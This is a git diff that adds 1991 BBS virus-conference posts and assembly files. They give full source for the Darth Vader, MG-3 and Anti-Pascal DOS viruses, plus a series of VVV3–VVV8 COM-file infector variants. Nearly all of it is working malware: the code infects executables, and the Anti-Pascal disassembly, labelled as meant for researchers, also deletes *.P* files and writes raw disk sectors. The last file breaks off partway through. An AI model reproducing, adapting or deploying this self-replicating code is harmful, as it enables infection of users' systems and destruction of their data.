ALL Recvd: NO +Subj: DARTH VADER Conf: (16) VIRUS +--------------------------------------------------------------------------- +;********************************************************************* +********** +;* +* +;* D A R T H V A D E R IV +* +;* +* +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia +* +;* All Rights Reserved +* +;* +& +;* Enchanced by: Lazy Wizard +& +;* +& +;* Turbo Assembler 2.0 +& +;* +& +;********************************************************************* +********** + + + .model tiny + .code + + org 100h + +Start: + call NextLine +First3: + int 20h + int 3 +NextLine: + pop bx + push ax + xor di,di + mov es,di + mov es,es:[2Bh*4+2] + mov cx,1000h + call SearchZero + jc ReturnControl + xchg ax,si + inc si +SearchTable: + dec si + db 26h + lodsw + cmp ax,8B2Eh + jne SearchTable + db 26h + lodsb + cmp al,75h + je ReturnControl + cmp al,9Fh + jne SearchTable + mov si,es:[si] + mov cx,LastByte-Start + lea ax,[di+Handle-Start] + org $-1 + xchg ax,es:[si+80h] + sub ax,di + sub ax,cx + mov [bx+OldWrite-Start-2],ax + mov word ptr [bx+NewStart+1-Start-3],di + lea si,[bx-3] + rep movsb +ReturnControl: + pop ax + push ss + pop es + mov di,100h + lea si,[bx+First3-Start-3] + push di + movsw + movsb + ret +SearchZero: + xor ax,ax + inc di + push cx + push di + mov cx,(LastByte-Start-1)/2+1 + repe scasw + pop di + pop cx + je FoundPlace + loop SearchZero + stc +FoundPlace: + ret +Handle: + push bp + call NextHandle +NextHandle: +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:06) Number: 3557 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DARTH VADER Conf: (16) VIRUS +--------------------------------------------------------------------------- + pop bp + push es + push ax + push bx + push cx + push si + push di + test ch,ch + je Do + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh + cmp es:[di+29h],'MO' + jne Do + cmp word ptr es:[di+15h],0 + jne Do + push ds + pop es + mov di,dx + mov ax,[di] + mov [bp+First3-NextHandle],ax + mov al,[di+2] + mov [bp+First3+2-NextHandle],al + call SearchZero + jc Do + push di +NewStart: + mov si,0 + mov cx,(LastByte-Start-1)/2 + cli + rep + db 36h + movsw + sti + mov di,dx + mov al,0E9h + stosb + pop ax + sub ax,di + dec ax + dec ax + stosw +Do: + pop di + pop si + pop cx + pop bx + pop ax + pop es + pop bp +OldWrite: + jmp start + +LastByte label byte + + end Start + +--- + RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506 +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:07) Number: 3558 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: MG 3 Conf: (16) VIRUS +--------------------------------------------------------------------------- +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + xchg ax,dx + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:07) Number: 3559 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: MG 3 Conf: (16) VIRUS +--------------------------------------------------------------------------- + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:07) Number: 3560 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: MG 3 Conf: (16) VIRUS +--------------------------------------------------------------------------- + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:07) Number: 3561 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: MG 3 Conf: (16) VIRUS +--------------------------------------------------------------------------- + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End.--- + + * Origin: ESaSS / Thunderbyte support, The Netherlands (2:280/200) + +--- + RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506 +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:08) Number: 3562 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: ANTI PASCAL Conf: (16) VIRUS +--------------------------------------------------------------------------- + page ,132 + name AP400 + title The 'Anti-Pascal' virus, version AP-400 + .radix 16 + +; +...................................................................... +...... +; . Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, +ap. 51 . +; . Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +. +; . +. +; . The 'Anti-Pascal' Virus, version AP-400 +. +; . Disassembled by Vesselin Bontchev, July 1990 +. +; . +. +; . Copyright (c) Vesselin Bontchev 1989, 1990 +. +; . +. +; . This listing is only to be made available to virus +researchers . +; . or software writers on a need-to-know basis. +. +; +...................................................................... +...... + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +v_const = 2042d + +start: + jmp v_entry + db 0CA ; Virus signature + + db (2048d - 9) dup (90) ; The original "program" + + mov ax,4C00 ; Just exit + int 21 + +v_start label byte +first4 db 0E9, 0F8, 7, 90 +allcom db '*.COM', 0 + +mydta label byte +reserve db 15 dup (?) +attrib db ? +time dw ? +date dw ? +fsize dd ? +namez db 14d dup (?) + +allp db 0, '?????????A?' +maxdrv db ? +sign db 'PAD' + +v_entry: + push ax ; Save AX & DX + push dx + + mov ah,19 ; Get the default drive + int 21 + push ax ; Save it on stack + mov ah,0E ; Set it as default (?!) + mov dl,al + int 21 ; Do it + + call self ; Determine the virus' start +address +self: + pop si + sub si,offset self-v_const + +; Save the number of logical drives in the system: + + mov byte ptr [si+offset maxdrv-v_const],al + +; Restore the first 4 bytes of the infected program: + + mov ax,[si+offset first4-v_const] + mov word ptr ds:[offset start],ax + mov ax,[si+offset first4+2-v_const] + mov word ptr ds:[offset start+2],ax + + mov ah,1A ; Set new DTA + lea dx,[si+offset mydta-v_const] + int 21 ; Do it +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:08) Number: 3563 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: ANTI PASCAL Conf: (16) VIRUS +--------------------------------------------------------------------------- + pop ax ; Restore current drive in AL + push ax ; Keep it on stack + + call inf_drive ; Proceed with the current drive + + xor al,al ; For all logical drives in +the system +drv_lp: + call inf_drive ; Proceed with drive + jbe drv_lp ; Loop until no more drives + + pop ax ; Restore the saved current drive + mov ah,0E ; Set it as current drive + mov dl,al + int 21 ; Do it + + mov dx,80 ; Restore original DTA + mov ah,1A + int 21 ; Do it + + mov si,offset start + pop dx ; Restore DX & AX + pop ax + jmp si ; Run the original program + +inf_drive: + push ax ; Save the selected drive number +on stack + mov ah,0E ; Select that drive + mov dl,al + int 21 ; Do ti + pop ax ; Restore AX + + push ax ; Save the registers used + push bx + push cx + push si ; Save SI + + mov cx,1 ; Read sector #50 of the drive +specified + mov dx,50d + lea bx,[si+offset v_end-v_const] + push ax ; Save AX + push bx ; Save BX, CX & DX also + push cx + push dx + int 25 ; Do read + pop dx ; Clear the stack + pop dx ; Restore saved DX, CX & BX + pop cx + pop bx + jnc wr_drive ; Write the information back if no +error + + pop ax ; Restore AX + pop si ; Restore SI + +drv_xit: + pop cx ; Restore used registers + pop bx + pop ax + + inc al ; Go to next drive number + cmp al,[si+offset maxdrv-v_const] ; See if there +are more drives +xit: + ret ; Exit + +wr_drive: + pop ax ; Restore drive number in AL + int 26 ; Do write + pop ax ; Clear the stack + pop si ; Restore Si + jnc cont ; Continue if no error + clc + jmp drv_xit ; Otherwise exit + +; Find first COM file on the current directory of the selected drive: + +cont: + mov ah,4E + xor cx,cx ; Normal files only + lea dx,[si+offset allcom-v_const] ; File mask +next: + int 21 ; Do find + jc no_more ; Quit search if no more such files + lea dx,[si+offset namez-v_const] ; Get file name +found + call infect ; Infect that file + mov ah,4F ; Prepare for FindNext + jc next ; If infection not successful, +go to next file + jmp drv_xit ; Otherwise quit + +no_more: + mov ah,13 ; Delete all *.P* files in +that dir + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:08) Number: 3564 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: ANTI PASCAL Conf: (16) VIRUS +--------------------------------------------------------------------------- + lea dx,[si+offset allp-v_const] + int 21 ; Do it + clc + jmp drv_xit ; Done. Exit + +namaddr dw ? ; Address of the file name buffer + +infect: + mov [si+offset namaddr-v_const],dx ; Save file +name address + + mov ax,4301 ; Reset all file attributes + xor cx,cx + int 21 ; Do it + jc xit ; Exit on error + + mov ax,3D02 ; Open file for both reading and +writing + int 21 + jc xit ; Exit on arror + mov bx,ax ; Save file handle in BX + + mov cx,4 ; Read the first 4 bytes of the +file + mov ah,3F + lea di,[si+offset first4-v_const] ; Save them in +first4 + mov dx,di + int 21 ; Do it + jc quit ; Exit on error + + cmp byte ptr [di+3],0CA ; File already infected? + stc ; Set CF to indicate it + jz quit ; Don't touch this file if so + + mov cx,[si+offset fsize-v_const] + cmp cx,2048d ; Check if file size >= 2048 bytes + jb quit ; Exit if not + cmp cx,64000d ; Check if file size <= 64000 +bytes + stc ; Set CF to indicate it + ja quit ; Exit if not + + xor cx,cx ; Seek to file end + xor dx,dx + mov ax,4202 + int 21 ; Do it + push ax ; Save file size on stack + jc quit ; Exit on error + +; Write the virus body after the end of file: + + mov cx,v_end-v_start + nop + lea dx,[si+offset v_start-v_const] + mov ah,40 + int 21 ; Do it + jc quit ; Exit on error + pop ax ; Restore file size in AX + +; Form a new address for the first JMP instruction in AX: + + add ax,v_entry-v_start-3 + mov byte ptr [di],0E9 ; JMP opcode + mov [di+1],ax + mov byte ptr [di+3],0CA ; Set the "file +infected" sign + + xor cx,cx ; Seek to file beginning + xor dx,dx + mov ax,4200 + int 21 ; Do it + jc quit ; Exit on error + + mov cx,4 ; Write the new first 4 bytes +of the file + mov dx,di + mov ah,40 + int 21 ; Do it + +quit: + pushf ; Save flags + + mov ax,5701 ; Set file date & time + mov cx,[si+offset time-v_const] ; Get time from +mydta + mov dx,[si+offset date-v_const] ; Get date from +mydta + int 21 ; Do it + + mov ah,3E ; Close the file + int 21 + + mov ax,4301 ; Set file attributes + mov cl,[si+offset attrib-v_const] ; Get them +from mydta + xor ch,ch + + +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (20:08) Number: 3565 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: ANTI PASCAL Conf: (16) VIRUS +--------------------------------------------------------------------------- + mov dx,[si+offset namaddr-v_const] ; Point to +file name + int 21 ; Do it + + popf ; Restore flags + ret + +v_end equ $ + +code ends + end start + +--- + RonMail 1.0 Programmer's Inn - Home of FeatherNet (619)-446-4506 diff --git a/v/VVV3.ASM b/v/VVV3.ASM new file mode 100755 index 0000000..9fb5cb9 --- /dev/null +++ b/v/VVV3.ASM @@ -0,0 +1,127 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; ----- alma mater + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk \ No newline at end of file diff --git a/v/VVV4.ASM b/v/VVV4.ASM new file mode 100755 index 0000000..82dc720 --- /dev/null +++ b/v/VVV4.ASM @@ -0,0 +1,134 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/v/VVV5.ASM b/v/VVV5.ASM new file mode 100755 index 0000000..4ed7938 --- /dev/null +++ b/v/VVV5.ASM @@ -0,0 +1,143 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/v/VVV6.ASM b/v/VVV6.ASM new file mode 100755 index 0000000..c422af9 --- /dev/null +++ b/v/VVV6.ASM @@ -0,0 +1,147 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + je fin ; if file name CO*.com then skip + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/v/VVV7.ASM b/v/VVV7.ASM new file mode 100755 index 0000000..03c5853 --- /dev/null +++ b/v/VVV7.ASM @@ -0,0 +1,153 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + je fin ; if file name CO*.com then skip + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/v/VVV8.ASM b/v/VVV8.ASM new file mode 100755 index 0000000..7eccf08 --- /dev/null +++ b/v/VVV8.ASM @@ -0,0 +1,183 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; 